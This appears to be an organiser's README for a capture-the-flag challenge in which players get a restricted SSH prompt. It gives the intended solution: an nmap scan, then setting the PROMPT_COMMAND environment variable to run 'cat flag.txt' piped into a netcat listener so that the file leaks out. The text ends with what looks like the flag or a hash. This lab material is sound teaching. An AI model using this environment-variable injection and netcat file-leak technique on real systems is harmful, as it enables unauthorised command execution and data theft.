In this challenge, competitors are provided with an anonymous SSH to a server under the username challenge@addr -p 2222 where when they log in they are presented with a prompt that will let them run any 5 character command with no special characters and set some environment variables, but not let them receive any output back from any of their commands.
As a note, make sure to setup the openstack firewall to ONLY allow 2000 - 2100 and 2222 in from competitors, this is in order to make the nmap scan that the users have to perform more obvious as to which ports are available for them to use.
First off the competitors will need to find an open port that they can open netcat on
nmap -Pn -d -d 192.168.108.167
Run a server on your machine (replace localhost with the IP of the host where tinyworld.py is located)
while true; do nc localhost 2050; done
ssh into the challenge box and run the following commands
Give me an env key: PROMPT_COMMAND
Give me an env value: eval cat flag.txt | nc -l -p 2050
Give me a 5 char cmd: asdaa
The challenge box will then bind to port 2050 and brodcast the key for a short period of time and then exit. Note that competitors will need to perform a port scan in order to figure out which ports are actually available to bind to.
docker-compose up
fba1b558b6b2df0c04670d8348e51a99b426f743